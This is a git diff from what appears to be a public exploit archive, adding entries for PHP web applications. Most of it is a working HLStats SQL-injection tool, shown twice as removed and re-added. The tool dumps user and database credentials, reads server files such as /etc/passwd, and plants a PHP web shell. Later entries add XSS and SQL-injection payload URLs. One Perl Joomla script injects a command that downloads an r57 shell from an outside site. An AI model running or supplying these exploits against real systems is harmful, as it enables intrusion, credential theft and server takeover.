-			$this->proxy_pass=$login[1];
-			
-			$addr=explode(':',$proxyAuth[1]);
-			$this->proxy_ip=$addr[0];
-			$this->proxy_port=$addr[1];
-		}else{
-			$addr=explode(':',$proxy);
-			$this->proxy_ip=$addr[0];
-			$this->proxy_port=$addr[1];
-		}
-	}
-	
-	function get($url, $cookie=''){
-		return $this->http_gpc_send($url, $cookie);
-	}
-
-	function post($url, $cookie='', $post=''){
-		return $this->http_gpc_send($url,$cookie,$post);
-	}
-	
-	function getServer($url){
-		$resp=$this->http_gpc_send($url);
-		$header=explode("Server: ",$resp);
-		$server=explode("\n",$header[1]);
-		return $server[0];
-	}
-}
-
-//reuseable functions
-function getPath($html){
-	$path='';
-	$resp=explode("array given in <b>",$html);
-	if(isset($resp[1])){
-		$resp = explode("</b>",$resp[1]);
-	}else{
-		$resp[0]=false;
-	}
-	return $resp[0];
-}
-
-function charEncode($string){
-	$char="char(";
-	$size=strlen($string);
-	for($x=0;$x<$size;$x++){
-		$char.=ord($string[$x]).", ";
-	}
-	$char[strlen($char)-2]=')%00';
-	return $char;
-}
-
-function hex_encode($my_string)
-{
-$encoded="0x";
-  for ($k=0; $k<=strlen($my_string)-1; $k++)
-  {$temp=dechex(ord($my_string[$k]));
-    if (strlen($temp)==1) {$temp="0".$temp;}
-    $encoded.=$temp;
-  }
-  return $encoded;
-} 
-
-
-//hlstats specific functions
-function hl_get_sql($resp){
-	//print htmlspecialchars($resp);
-	$tmp=explode('<table ',$resp);
-	array_pop($tmp);
-	$last=array_pop($tmp);
-	$tbl=explode('</table>',$last);
-	$table=$tbl[0];//ITS MY TABLE NOW!
-	if(strstr($table,'Victim')&&strstr($table,'Times Killed')){
-		$table=str_replace('border=0','border=1',$table);
-		$table=str_replace('#002E8A','#000000',$table);
-		$table=str_replace('#15154D','#CCCCCC',$table);
-		$table=str_replace('#161652','#CCCCCC',$table);
-		$table='<table '.$table.'</table>';
-	}else{
-		$table=false;
-	}
-	return $table;
-}
-
-function get_logins($addr){
-	$http=new http();
-	$data='';
-	$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
-	$path=getPath($resp);
-	$readfile=hex_encode($path);
-	$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";
-	$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
-		
-	$tmp=explode("define(&quot;DB_NAME&quot;, &quot;",$resp);
-	$tmp=explode("&quot;",$tmp[1]);
-	$data[db]=$tmp[0];
-
-	$tmp=explode("define(&quot;DB_USER&quot;, &quot;",$resp);
-	$tmp=explode("&quot;",$tmp[1]);
-	$data[name]=$tmp[0];
-	
-	$tmp=explode("define(&quot;DB_PASS&quot;, &quot;",$resp);
-	$tmp=explode("&quot;",$tmp[1]);
-	$data[pass]=$tmp[0];
-	
-	$tmp=explode("define(&quot;DB_ADDR&quot;, &quot;",$resp);
-	$tmp=explode("&quot;",$tmp[1]);
-	$data[addr]=$tmp[0];
-	
-	$tmp=explode("define(&quot;DB_TYPE&quot;, &quot;",$resp);
-	$tmp=explode("&quot;",$tmp[1]);
-	$data[type]=$tmp[0];
-	
-	return $data;
-}
-
-//The table prefix is needed to union select the hlstats logins
-function get_prefix($attack){
-	$prefix=false;
-	$http=new http();
-	//hex_encode is used instead of quote marks
-	$payload="killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20".hex_encode("%events_playerplayeractions")."%23";
-	$resp=$http->post($attack."?mode=playerinfo&player=1",'',$payload);
-	$mid=explode('events_playerplayeractions',$resp);
-	if(is_array($mid)){
-		foreach($mid as $m){
-			$pre= explode('>',$m);
-			$fix=array_pop($pre);
-			if(is_array($prefix)){
-				if(!in_array($fix,$prefix)){
-					$prefix[]=trim($fix);
-				}
-			}else if($prefix!=$fix){
-				print($fix);
-				$prefix[]=trim($fix);
-			}
-		}
-		if(is_array($prefix)){
-			$v=array_pop($prefix);
-			if(trim($v)!='0'){//damn that zero!!
-				array_push($prefix,$v);
-			}
-		}
-	}else{
-		$prefix=false;
-	}
-	return($prefix);
-}
-
-if(isset($_REQUEST['target'])&&$_REQUEST['target']!=''){
-	//this exploit can take its sweet time. 
-	set_time_limit(0);
-	$http=new http();
-	$addr=explode('?',$_REQUEST['target']);
-	$addr=$addr[0];
-	if(isset($_REQUEST['proxy'])){
-		$http->proxy($_REQUEST['proxy']);
-	} 
-	
-	switch($_REQUEST['button']){
-		case 'HLStats_Logins':
-			$table=false;
-			$prefix=get_prefix($addr);
-			//print_r($prefix);
-			foreach($prefix as $pre){
-				if(!$table){
-					print "trying table prefix:$pre<br>";
-					//no comments are used in this payload,  instead a second union select is used to finnish the query.
-					$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";
-					$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
-					$table=hl_get_sql($resp);//  
-				}
-			}
-			if(!$table&&@!in_array('hlstats_',$prefix)){//ooah no the exploit has failed so far. 
-					$pre="hlstats_";//try the default prefix
-					print "trying table prefix:$pre<br>";
-					$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";
-					$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
-					$table=hl_get_sql($resp);//  			
-			}
-			if($table){
-				$table=str_replace('Victim','username',$table);
-				$table=str_replace('Kills per Death','playerId',$table);
-				$table=str_replace('Deaths by','acclevel',$table);
-				$table=str_replace('Times Killed','password',$table);
-				$table=str_replace('Rank','Count',$table);
-				print "<br>$table";
-			}
-			break;
-		case 'Mysql_Logins':
-			//a comment is used so the table prefix doesn't have to be known;  this is simpler,  less to go wrong.  
-			$pay="killLimit=1000%20union%20select%20user,password,File_priv,1,Host%20%20from%20mysql.user%20--%20";
-			$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
-			$table=hl_get_sql($resp);
-			$table=str_replace('Victim','User',$table);
-			$table=str_replace('Kills per Death','Host',$table);
-			$table=str_replace('Deaths by','File_priv',$table);
-			$table=str_replace('Times Killed','Password',$table);
-			$table=str_replace('Rank','Count',$table);
-			print "<br>$table";
-		break;
-		case 'Read_File':
-			$readfile=hex_encode($_REQUEST[read_file]);
-			$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";
-			$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);			
-			$tmp=explode('alt="player.gif"><b>',$resp);
-			$data=explode("</font>",$tmp[1]);
-			$data=$data[0];
-			//this might be a bad thing:
-			$data=preg_replace('<br />','',$data);
-			print 'data'.$data; 		
-		break;
-		case 'Path':
-			$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
-			$path=getPath($resp );
-			print "Path Disclosure:$path<br>";
-		break;	
-		case 'Read_Login':
-			$data=get_logins($addr);
-			foreach($data as $var=>$val){
-				   $tmp=explode('&quot',$val);
-					$data[$var]=$tmp[0];
-					print "<br>".$var.":".$tmp[0];
-			}	
-		break;
-		case 'Upload':
-			$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
-			$path=getPath($resp );
-			$data=get_logins($addr);
-			print $path."<br>";
-			$tar=explode('/',$_REQUEST['target']);
-			$paylink=$tar;
-			array_pop($paylink);
-			$paylink=implode('/',$paylink);
-			if(strstr($path,':')){//if windows
-				print "Windows Sytem<br>";
-				$temp=explode('\\',$path);
-			}else{//else *nix
-				print "*nix System<br>";
-				$temp=explode('/',$path);
-			}
-			array_pop($temp);
-			$path=implode('/',$temp);
-			mysql_connect($tar[2],$data[name],$data[pass]) or die(mysql_error());
-			$name="data".rand();//rand is used so that this attack can be run multiple times.
-			$sql="SELECT '<?php ".$_REQUEST[payload]."?>' INTO OUTFILE '$path/$name.php'";
-			print "<br><a href='$paylink/$name.php'><b> Execute Payload </b></a>";
-			mysql_query($sql) or die(mysql_error());
-		break;
-		default:
-			print 'No Attack!';
-		break;
-	}
-}else{
-	Print "No Target.";
-}
-?><br>--------------------------------------------------------------------------------------------------------------------------------------------><br>
-
-# milw0rm.com [2006-12-25]
+<br><b>
+<?php
+/*
+Live Exploit Code
+SQL Inection + Path Disclosure
+Affects HLStats HLStats <=1.34  and Hlstats >= 1.20
+works with magic_quotes_gpc=On
+by Michael Brooks
+*/
+
+ print "<title>HLStats SQL Injection Exploit</title>
+ <body bgcolor='#009900'>
+ <font  color='#FF0000'>
+<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
+<center><b> <br>
+Welcome To HLstats Exploit code.<br><br>
+</b></center> 
+<br> 
+SQL Inection + Path Disclosure<br>
+Affects Hlstats >= 1.20 to HLStats <=1.34(current)<br>
+Tested on Linux and Windows<br>
+works with magic_quotes_gpc=On!<br>
+HLStats has gone though 5 years with no exploits so this is a Birthday Present!<br>
+Merry Christmass!<br>
+By Michael Brooks<br>
+<br>
+<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
+";
+ 
+ print "
+ 	<form action='".$_SERVER['PHP_SELF']."' method='post'>
+	<b>Target:</b><br>
+	<input type='text' name='target' size=32><br>
+	(hint: where the login form is. example: http://domain.com/path/hlstats.php )<br>
+	<br><b>Proxy:</b>(ip:port or name:pass@ip:port)<br>
+	<input type='text' name='proxy' size=32><br>
+	(example: 127.0.0.1:8118   Use <a href='http://tor.eff.org'>Tor</a>+<a href='http://www.privoxy.org/'>Privoxy</a>. )<br>
+	<br><br>
+	If nothing is changed below this line then the exploit will attempt to get the database login information in plain text.
+<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
+	<H1>ATTACKS:</H1>
+	<br>
+	<b>Database Selects:</b><br>
+	<br>
+	OBTIAN HLStats logins:<br>
+	<input type='submit' name='button' value='HLStats_Logins'>(Passwords are stored as MD5 hashs, use: <a href='http://www.milw0rm.com/cracker/insert.php'>Milw0rm's MD5 Cracker</a>)<br>
+ 		
+ 		  OBTIAN mysql.user logins:<br>
+ 		<input type='submit' name='button' value='Mysql_Logins'><br>
+	<br>
+
+	<br>
+ 	<b>File IO:</b><br><br>
+ 	<b>Path Disclosure</b><br>
+ 	<input type='submit' name='button' value='Path'><br>
+	<br>
+	<b>Plain Text Database Login Information</b><br>
+	<input type='submit' name='button' value='Read_Login'>
+	(This will attempt to read the configuration file for hlstats and dump the PLAIN TEXT database login information.)<br>
+	<br>
+	<b>Read Other File</b><br>
+	<input type='submit' name='button' value='Read_File'>
+	<input type='text' name='read_file' size=50>
+	<br>example: /etc/passwd<br>
+	OR for windows based systems: C:\\\\WINDOWS\\\\repair\\\\sam<br>
+	<br><b>attempt payload:</b>(WARNING,  NO PROXY IS USED FOR UPLOADING PAYLOAD)<br>
+	<input type='submit'  name='button' value='Upload'>
+	 &lt?php <input type='text' name='payload' size=50>?&gt <br>
+	example: system('netstat'); <br>
+	
+	</form>
+	<br><b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br>
+	";
+
+ //generic http class
+class http{
+	var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='';
+	
+	function http_gpc_send($loc ,$cookie="", $postdata = "") { 
+		 //overload function polymorphism between gets and posts
+		 $url=parse_url($loc);
+		 if(!isset($url['port'])){
+		   $url['port']=80;
+		}
+		//$ua=$_SERVER['HTTP_USER_AGENT'];
+		$ua='GPC/.01';
+		 if($this->proxy_ip!=''&&$this->proxy_port!=''){
+			$fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );
+			$url['path']=$url['host'].':'.$url['port'].$url['path'];
+		 }else{
+			$fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );
+		 }
+		 
+		 if( !$fp ) {
+		    print "$errstr ($errno)<br>\nn";
+		 } else {
+		    if( $postdata=='' ) {
+			fputs( $fp, "GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );
+		    } else {
+			fputs( $fp, "POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );
+		    }
+		    
+		    if($this->proxy_name!=''&&$this->proxy_pass!=''){
+			fputs($fp, "Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n");
+		    }
+
+		    fputs($fp, "Host: ".$url['host'].":".$url['port']."\r\n");
+		    fputs( $fp, "User-Agent: ".$ua."\r\n" );
+		    fputs( $fp, "Accept: text/plain\r\n" );
+		    fputs( $fp,"Connection: Close\r\n" );
+		    if($cookie!=''){ 
+			fputs( $fp, "Cookie: ".$cookie."\r\n" );
+		    }
+		    if( $postdata!='' ) {
+			$strlength = strlen( $postdata );
+			fputs( $fp, "Content-type: application/x-www-form-urlencoded\r\n" );
+			fputs( $fp, "Content-length: ".$strlength."\r\n\r\n" );
+			fputs( $fp, $postdata);
+		    }
+		    fputs( $fp, "\n\n" );
+		    
+		   $output = "";
+		   while( !feof( $fp ) ) {
+			$output .= fgets( $fp, 1024 );
+		   }
+		    fclose( $fp );
+		 }
+		 return $output;
+	}
+	
+	function proxy($proxy){ //user:pass@ip:port
+		$proxyAuth=explode('@',$proxy);
+		if(isset($proxyAuth[1])){
+			$login=explode(':',$proxyAuth[0]);
+			$this->proxy_name=$login[0];
+			$this->proxy_pass=$login[1];
+			
+			$addr=explode(':',$proxyAuth[1]);
+			$this->proxy_ip=$addr[0];
+			$this->proxy_port=$addr[1];
+		}else{
+			$addr=explode(':',$proxy);
+			$this->proxy_ip=$addr[0];
+			$this->proxy_port=$addr[1];
+		}
+	}
+	
+	function get($url, $cookie=''){
+		return $this->http_gpc_send($url, $cookie);
+	}
+
+	function post($url, $cookie='', $post=''){
+		return $this->http_gpc_send($url,$cookie,$post);
+	}
+	
+	function getServer($url){
+		$resp=$this->http_gpc_send($url);
+		$header=explode("Server: ",$resp);
+		$server=explode("\n",$header[1]);
+		return $server[0];
+	}
+}
+
+//reuseable functions
+function getPath($html){
+	$path='';
+	$resp=explode("array given in <b>",$html);
+	if(isset($resp[1])){
+		$resp = explode("</b>",$resp[1]);
+	}else{
+		$resp[0]=false;
+	}
+	return $resp[0];
+}
+
+function charEncode($string){
+	$char="char(";
+	$size=strlen($string);
+	for($x=0;$x<$size;$x++){
+		$char.=ord($string[$x]).", ";
+	}
+	$char[strlen($char)-2]=')%00';
+	return $char;
+}
+
+function hex_encode($my_string)
+{
+$encoded="0x";
+  for ($k=0; $k<=strlen($my_string)-1; $k++)
+  {$temp=dechex(ord($my_string[$k]));
+    if (strlen($temp)==1) {$temp="0".$temp;}
+    $encoded.=$temp;
+  }
+  return $encoded;
+} 
+
+
+//hlstats specific functions
+function hl_get_sql($resp){
+	//print htmlspecialchars($resp);
+	$tmp=explode('<table ',$resp);
+	array_pop($tmp);
+	$last=array_pop($tmp);
+	$tbl=explode('</table>',$last);
+	$table=$tbl[0];//ITS MY TABLE NOW!
+	if(strstr($table,'Victim')&&strstr($table,'Times Killed')){
+		$table=str_replace('border=0','border=1',$table);
+		$table=str_replace('#002E8A','#000000',$table);
+		$table=str_replace('#15154D','#CCCCCC',$table);
+		$table=str_replace('#161652','#CCCCCC',$table);
+		$table='<table '.$table.'</table>';
+	}else{
+		$table=false;
+	}
+	return $table;
+}
+
+function get_logins($addr){
+	$http=new http();
+	$data='';
+	$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
+	$path=getPath($resp);
+	$readfile=hex_encode($path);
+	$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";
+	$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
+		
+	$tmp=explode("define(&quot;DB_NAME&quot;, &quot;",$resp);
+	$tmp=explode("&quot;",$tmp[1]);
+	$data[db]=$tmp[0];
+
+	$tmp=explode("define(&quot;DB_USER&quot;, &quot;",$resp);
+	$tmp=explode("&quot;",$tmp[1]);
+	$data[name]=$tmp[0];
+	
+	$tmp=explode("define(&quot;DB_PASS&quot;, &quot;",$resp);
+	$tmp=explode("&quot;",$tmp[1]);
+	$data[pass]=$tmp[0];
+	
+	$tmp=explode("define(&quot;DB_ADDR&quot;, &quot;",$resp);
+	$tmp=explode("&quot;",$tmp[1]);
+	$data[addr]=$tmp[0];
+	
+	$tmp=explode("define(&quot;DB_TYPE&quot;, &quot;",$resp);
+	$tmp=explode("&quot;",$tmp[1]);
+	$data[type]=$tmp[0];
+	
+	return $data;
+}
+
+//The table prefix is needed to union select the hlstats logins
+function get_prefix($attack){
+	$prefix=false;
+	$http=new http();
+	//hex_encode is used instead of quote marks
+	$payload="killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20".hex_encode("%events_playerplayeractions")."%23";
+	$resp=$http->post($attack."?mode=playerinfo&player=1",'',$payload);
+	$mid=explode('events_playerplayeractions',$resp);
+	if(is_array($mid)){
+		foreach($mid as $m){
+			$pre= explode('>',$m);
+			$fix=array_pop($pre);
+			if(is_array($prefix)){
+				if(!in_array($fix,$prefix)){
+					$prefix[]=trim($fix);
+				}
+			}else if($prefix!=$fix){
+				print($fix);
+				$prefix[]=trim($fix);
+			}
+		}
+		if(is_array($prefix)){
+			$v=array_pop($prefix);
+			if(trim($v)!='0'){//damn that zero!!
+				array_push($prefix,$v);
+			}
+		}
+	}else{
+		$prefix=false;
+	}
+	return($prefix);
+}
+
+if(isset($_REQUEST['target'])&&$_REQUEST['target']!=''){
+	//this exploit can take its sweet time. 
+	set_time_limit(0);
+	$http=new http();
+	$addr=explode('?',$_REQUEST['target']);
+	$addr=$addr[0];
+	if(isset($_REQUEST['proxy'])){
+		$http->proxy($_REQUEST['proxy']);
+	} 
+	
+	switch($_REQUEST['button']){
+		case 'HLStats_Logins':
+			$table=false;
+			$prefix=get_prefix($addr);
+			//print_r($prefix);
+			foreach($prefix as $pre){
+				if(!$table){
+					print "trying table prefix:$pre<br>";
+					//no comments are used in this payload,  instead a second union select is used to finnish the query.
+					$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";
+					$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
+					$table=hl_get_sql($resp);//  
+				}
+			}
+			if(!$table&&@!in_array('hlstats_',$prefix)){//ooah no the exploit has failed so far. 
+					$pre="hlstats_";//try the default prefix
+					print "trying table prefix:$pre<br>";
+					$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";
+					$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
+					$table=hl_get_sql($resp);//  			
+			}
+			if($table){
+				$table=str_replace('Victim','username',$table);
+				$table=str_replace('Kills per Death','playerId',$table);
+				$table=str_replace('Deaths by','acclevel',$table);
+				$table=str_replace('Times Killed','password',$table);
+				$table=str_replace('Rank','Count',$table);
+				print "<br>$table";
+			}
+			break;
+		case 'Mysql_Logins':
+			//a comment is used so the table prefix doesn't have to be known;  this is simpler,  less to go wrong.  
+			$pay="killLimit=1000%20union%20select%20user,password,File_priv,1,Host%20%20from%20mysql.user%20--%20";
+			$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
+			$table=hl_get_sql($resp);
+			$table=str_replace('Victim','User',$table);
+			$table=str_replace('Kills per Death','Host',$table);
+			$table=str_replace('Deaths by','File_priv',$table);
+			$table=str_replace('Times Killed','Password',$table);
+			$table=str_replace('Rank','Count',$table);
+			print "<br>$table";
+		break;
+		case 'Read_File':
+			$readfile=hex_encode($_REQUEST[read_file]);
+			$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";
+			$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);			
+			$tmp=explode('alt="player.gif"><b>',$resp);
+			$data=explode("</font>",$tmp[1]);
+			$data=$data[0];
+			//this might be a bad thing:
+			$data=preg_replace('<br />','',$data);
+			print 'data'.$data; 		
+		break;
+		case 'Path':
+			$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
+			$path=getPath($resp );
+			print "Path Disclosure:$path<br>";
+		break;	
+		case 'Read_Login':
+			$data=get_logins($addr);
+			foreach($data as $var=>$val){
+				   $tmp=explode('&quot',$val);
+					$data[$var]=$tmp[0];
+					print "<br>".$var.":".$tmp[0];
+			}	
+		break;
+		case 'Upload':
+			$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
+			$path=getPath($resp );
+			$data=get_logins($addr);
+			print $path."<br>";
+			$tar=explode('/',$_REQUEST['target']);
+			$paylink=$tar;
+			array_pop($paylink);
+			$paylink=implode('/',$paylink);
+			if(strstr($path,':')){//if windows
+				print "Windows Sytem<br>";
+				$temp=explode('\\',$path);
+			}else{//else *nix
+				print "*nix System<br>";
+				$temp=explode('/',$path);
+			}
+			array_pop($temp);
+			$path=implode('/',$temp);
+			mysql_connect($tar[2],$data[name],$data[pass]) or die(mysql_error());
+			$name="data".rand();//rand is used so that this attack can be run multiple times.
+			$sql="SELECT '<?php ".$_REQUEST[payload]."?>' INTO OUTFILE '$path/$name.php'";
+			print "<br><a href='$paylink/$name.php'><b> Execute Payload </b></a>";
+			mysql_query($sql) or die(mysql_error());
+		break;
+		default:
+			print 'No Attack!';
+		break;
+	}
+}else{
+	Print "No Target.";
+}
+?><br>--------------------------------------------------------------------------------------------------------------------------------------------><br>
+
+# milw0rm.com [2006-12-25]
diff --git a/platforms/php/webapps/30022.txt b/platforms/php/webapps/30022.txt
new file mode 100755
index 000000000..301cee2d2
--- /dev/null
+++ b/platforms/php/webapps/30022.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/23917/info
+
+PHP Multi User Randomizer is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
+
+http://www.example.com/web/configure_plugin.tpl.php?edit_plugin==[xss] 
\ No newline at end of file
diff --git a/platforms/php/webapps/30027.txt b/platforms/php/webapps/30027.txt
new file mode 100755
index 000000000..e30ca1bfb
--- /dev/null
+++ b/platforms/php/webapps/30027.txt
@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/23950/info
+
+CommuniGate Pro is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
+
+Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.
+
+CommuniGate Pro 5.1.8 and earlier versions are vulnerable to this issue.
+
+Note that this issue is present only when using Microsoft Internet Explorer. 
+
+<STYLE>@im\port'\ja\vasc\ript:alert("XSS in message body (style using import)")';</STYLE> 
\ No newline at end of file
diff --git a/platforms/php/webapps/30028.txt b/platforms/php/webapps/30028.txt
new file mode 100755
index 000000000..c80607329
--- /dev/null
+++ b/platforms/php/webapps/30028.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/23951/info
+
+EQDKP is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
+
+EQDKP 1.3.2c and prior versions are affected. 
+
+http://www.example.com/path-to-eqdkp/listmembers.php?show=%22%3E%3Cplaintext%3E 
\ No newline at end of file
diff --git a/platforms/php/webapps/30029.txt b/platforms/php/webapps/30029.txt
new file mode 100755
index 000000000..ccec2dfd3
--- /dev/null
+++ b/platforms/php/webapps/30029.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/23963/info
+
+SonicBB is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
+
+This issue affects SonicBB 1.0; other versions may also be affected. 
+
+http://www.example.com/search.php?query=1&part=[xss] 
\ No newline at end of file
diff --git a/platforms/php/webapps/30033.txt b/platforms/php/webapps/30033.txt
new file mode 100755
index 000000000..18b440769
--- /dev/null
+++ b/platforms/php/webapps/30033.txt
@@ -0,0 +1,136 @@
+#Title : Joomla com_hotornot2 Remote Code Execution
+
+#Author : DevilScreaM
+
+#Date : 4 Desember 2013
+
+#Category : Web Applications
+
+#Version : 2.0.0
+
+#Type : PHP
+
+#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security
+ 	  Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber
+
+#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |
+
+#Tested : Mozila, Chrome, Opera -> Windows & Linux
+
+#Vulnerabillity : Remote Code Execution
+
+
+#!/usr/bin/perl
+use LWP::UserAgent;
+use HTTP::Request;
+$target = $ARGV[0];
+
+if($target eq '')
+{
+print "======================================================\n";
+print "  DEVILSCREAM - WWW.NEWBIE-SECURITY.OR.ID             \n";
+print "======================================================\n";
+sleep(0.8);
+print "Usage: perl exploit.pl <target> \n";
+exit(1);
+}
+
+if ($target !~ /http:\/\//)
+{
+$target = "http://$target";
+}
+
+#print "[*] Enter the address of your hosted TXT shell (ex: '
+http://c99.gen.tr/r57.txt') => ";
+#$shell = <STDIN>;
+sleep(1);
+print "======================================================\n";
+print "  DEVILSCREAM - WWW.NEWBIE-SECURITY.OR.ID             \n";
+print "======================================================\n";
+sleep(1.1);
+print "[*] Testing exploit ... \n";
+sleep(1.1);
+$agent = LWP::UserAgent->new();
+$agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101
+Firefox/14.0.1');
+$shell = "wget http://www.r57c99shell.net/shell/r57.txt -O shell.txt";
+$website =
+"$target/components/com_hotornot2/phpThumb/phpThumb.php??src=file.jpg&fltr
+
+[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ;
+&phpThumbDebug=9";
+
+$request = $agent->request(HTTP::Request->new(GET=>$website));
+
+if ($request->is_success)
+{
+print "[+] Exploit sent with success. \n";
+sleep(1.4);
+}
+
+else
+{
+print "[-] Exploit sent but probably the website is not vulnerable. \n";
+sleep(1.3);
+}
+
+print "[*] Checking if the txt shell has been uploaded...\n";
+sleep(1.2);
+
+$cwebsite =
+"$target/components/com_hotornot2/phpThumb/shell.txt";
+$creq = $agent->request(HTTP::Request->new(GET=>$cwebsite));
+
+if ($creq->is_success)
+{
+print "[+] Txt Shell uploaded :) \n";
+sleep(1);
+print "[*] Moving it to PHP format... Please wait... \n";
+sleep(1.1);
+$mvwebsite =
+"$target/components/com_hotornot2/phpThumb/phpThumb.php?
+
+src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg
+jpeg:fail.jpg ; mv shell.txt shell.php ;
+
+&phpThumbDebug=9";
+$mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite));
+
+$cwebsite =
+"$target/components/com_hotornot2/phpThumb/shell.php";
+$c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite));
+
+if ($c2req->is_success)
+{
+print "[+] PHP Shell uploaded => $cwebsite :) \n";
+sleep(0.8);
+print "[*] Do you want to open it? (y/n) => ";
+$open = <STDIN>;
+
+if ($open == "y")
+{
+$firefox = "firefox $cwebsite";
+system($firefox);
+}
+
+}
+
+else
+{
+print "[-] Error while moving shell from txt to PHP :( \n";
+exit(1);
+}
+
+}
+
+else
+{
+print "[-] Txt shell not uploaded. :( \n";
+}
+
+
+==============================================================
+
+Shell Access 
+
+http://TARGET/components/com_hotornot2/phpthumb/shell.php
\ No newline at end of file
diff --git a/platforms/php/webapps/30035.txt b/platforms/php/webapps/30035.txt
new file mode 100755
index 000000000..e253e5c5c
--- /dev/null
+++ b/platforms/php/webapps/30035.txt
@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/23964/info
+
+SonicBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+SonicBB 1.0 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/path/search.php?query=1&part=post`<> '' UNIoN SELECT `id`,`password`,1,1,1,1,`username` FROM `users` WHERE id=1/*&by=*/
+
+http://www.example.com/path/viewforum.php?id=1' UNION SELECT `id`,`password`,1,1,1,1,1 FROM `users` WHERE id=1%23 
\ No newline at end of file
diff --git a/platforms/php/webapps/30036.html b/platforms/php/webapps/30036.html
new file mode 100755
index 000000000..b4a2a9d04
--- /dev/null
+++ b/platforms/php/webapps/30036.html
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/23965/info
+
+The WordPress Akismet plugin is prone to an unspecified vulnerability.
+
+Few technical details are currently available. We will update this BID as more information emerges.
+
+<html> <body> <form action="http://www.example.com/wp-admin/plugins.php?page=akismet-key-config" method="post" id="akismet-conf"> <input name="_wpnonce" value="'" type="text"> <input name="_wp_http_referer" value="'%2522><script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105 ,101,41))</script>" type="text"> <input id="key" name="key" size="15" maxlength="12" value="1337"> <input name="submit" value="Update options »" type="submit"> </form> </body> </html> 
\ No newline at end of file
diff --git a/platforms/php/webapps/30040.txt b/platforms/php/webapps/30040.txt
new file mode 100755
index 000000000..6f19905ce
--- /dev/null
